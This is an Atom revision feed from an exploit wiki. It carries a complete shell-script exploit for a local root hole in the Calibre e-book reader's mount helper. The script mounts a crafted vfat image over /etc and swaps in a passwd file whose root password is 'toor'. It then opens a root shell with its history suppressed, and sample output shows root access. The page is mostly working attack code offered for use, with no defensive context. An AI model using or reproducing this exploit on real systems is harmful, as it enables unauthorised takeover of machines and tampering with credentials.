<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Calibre_E-Book_Reader_%E6%9C%AC%E5%9C%B0ROOT%E6%BC%8F%E6%B4%9E</id>
	<title>Calibre E-Book Reader 本地ROOT漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Calibre_E-Book_Reader_%E6%9C%AC%E5%9C%B0ROOT%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Calibre_E-Book_Reader_%E6%9C%AC%E5%9C%B0ROOT%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T20:06:09Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Calibre_E-Book_Reader_%E6%9C%AC%E5%9C%B0ROOT%E6%BC%8F%E6%B4%9E&amp;diff=717&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: .60-Calibrer Assault Mount: Another Calibre E-Book Reader Local Root # Date: Nov 2, 2011 # Author: zx2c4 # Software Link: http://calibre-ebook.c...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Calibre_E-Book_Reader_%E6%9C%AC%E5%9C%B0ROOT%E6%BC%8F%E6%B4%9E&amp;diff=717&amp;oldid=prev"/>
		<updated>2021-03-27T03:26:20Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: .60-Calibrer Assault Mount: Another Calibre E-Book Reader Local Root # Date: Nov 2, 2011 # Author: zx2c4 # Software Link: http://calibre-ebook.c...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: .60-Calibrer Assault Mount: Another Calibre E-Book Reader Local Root&lt;br /&gt;
# Date: Nov 2, 2011&lt;br /&gt;
# Author: zx2c4&lt;br /&gt;
# Software Link: http://calibre-ebook.com/&lt;br /&gt;
# Tested on: Gentoo&lt;br /&gt;
# Platform: Linux&lt;br /&gt;
# Category: Local&lt;br /&gt;
# CVE: pending&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
                  #######################################&lt;br /&gt;
                  #     .60-Calibrer Assault Mount      #&lt;br /&gt;
                  #              by zx2c4               #&lt;br /&gt;
                  #######################################&lt;br /&gt;
&lt;br /&gt;
################################################################################&lt;br /&gt;
# Yesterday we learned how Calibre's usage of execlp allowed us to override PATH&lt;br /&gt;
# and get root, in my &amp;quot;.50-Calibrer Assault Mount&amp;quot; exploit. Today we exploit a&lt;br /&gt;
# more fundumental issue with Calibre's mount helper -- namely, that it allows&lt;br /&gt;
# us to mount a vfat filesystem anywhere we want. By mounting a file system&lt;br /&gt;
# image over /etc, we are able to tinker /etc/passwd and make the root password&lt;br /&gt;
# temporarily &amp;quot;toor&amp;quot;.&lt;br /&gt;
#&lt;br /&gt;
# - zx2c4&lt;br /&gt;
# 2011-11-2&lt;br /&gt;
#&lt;br /&gt;
# Usage:&lt;br /&gt;
# $ ./60calibrerassaultmount.sh&lt;br /&gt;
# [+] Making temporary directory: /tmp/tmp.OGgS0jaoD4&lt;br /&gt;
# [+] Making overlay image:&lt;br /&gt;
# 51200+0 records in&lt;br /&gt;
# 51200+0 records out&lt;br /&gt;
# 26214400 bytes (26 MB) copied, 0.100984 s, 260 MB/s&lt;br /&gt;
# mkfs.vfat 3.0.11 (24 Dec 2010)&lt;br /&gt;
# [+] Mounting overlay image using calibre-mount-helper.&lt;br /&gt;
# [+] Copying /etc into overlay.&lt;br /&gt;
# [+] Tampering with overlay's passwd.&lt;br /&gt;
# [+] Unmounting overlay image using calibre-mount-helper.&lt;br /&gt;
# [+] Mounting overlay to /etc using calibre-mount-helper.&lt;br /&gt;
# [+] Asking for root. When prompted for a password, enter 'toor'.&lt;br /&gt;
# Password: [typed in toor to the terminal]&lt;br /&gt;
# [+] Unmounting /etc using root umount.&lt;br /&gt;
# [+] Cleaning up: /tmp/tmp.OGgS0jaoD4&lt;br /&gt;
# [+] Getting shell.&lt;br /&gt;
# sh-4.2# id&lt;br /&gt;
# uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
# sh-4.2# whoami&lt;br /&gt;
# root&lt;br /&gt;
# sh-4.2#&lt;br /&gt;
################################################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;#######################################&amp;quot;&lt;br /&gt;
echo &amp;quot;#     .60-Calibrer Assault Mount      #&amp;quot;&lt;br /&gt;
echo &amp;quot;#              by zx2c4               #&amp;quot;&lt;br /&gt;
echo &amp;quot;#######################################&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
echo -n &amp;quot;[+] Making temporary directory: &amp;quot;&lt;br /&gt;
dir=&amp;quot;$(mktemp -d)&amp;quot;&lt;br /&gt;
echo &amp;quot;$dir&amp;quot;&lt;br /&gt;
cd &amp;quot;$dir&amp;quot;&lt;br /&gt;
echo &amp;quot;[+] Making overlay image:&amp;quot;&lt;br /&gt;
dd if=/dev/zero of=overlay count=51200&lt;br /&gt;
/usr/sbin/mkfs.vfat overlay&lt;br /&gt;
echo &amp;quot;[+] Mounting overlay image using calibre-mount-helper.&amp;quot;&lt;br /&gt;
mkdir staging&lt;br /&gt;
calibre-mount-helper mount overlay staging&lt;br /&gt;
echo &amp;quot;[+] Copying /etc into overlay.&amp;quot;&lt;br /&gt;
cd staging/&lt;br /&gt;
cp -a /etc/* . 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;[+] Tampering with overlay's passwd.&amp;quot;&lt;br /&gt;
cat passwd | tail -n +2 &amp;gt; tmp&lt;br /&gt;
echo &amp;quot;root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash&amp;quot; &amp;gt;&amp;gt; tmp&lt;br /&gt;
mv tmp passwd&lt;br /&gt;
echo &amp;quot;[+] Unmounting overlay image using calibre-mount-helper.&amp;quot;&lt;br /&gt;
cd ..&lt;br /&gt;
calibre-mount-helper eject overlay staging &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
echo &amp;quot;[+] Mounting overlay to /etc using calibre-mount-helper.&amp;quot;&lt;br /&gt;
calibre-mount-helper mount overlay /etc  &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
cd /&lt;br /&gt;
echo &amp;quot;[+] Asking for root. When prompted for a password, enter 'toor'.&amp;quot;&lt;br /&gt;
su -c &amp;quot;echo \&amp;quot;[+] Unmounting /etc using root umount.\&amp;quot;; umount /etc; echo \&amp;quot;[+] Cleaning up: $dir\&amp;quot;; rm -rf \&amp;quot;$dir\&amp;quot;; echo \&amp;quot;[+] Getting shell.\&amp;quot;; HISTFILE=\&amp;quot;/dev/null\&amp;quot; exec /bin/sh&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>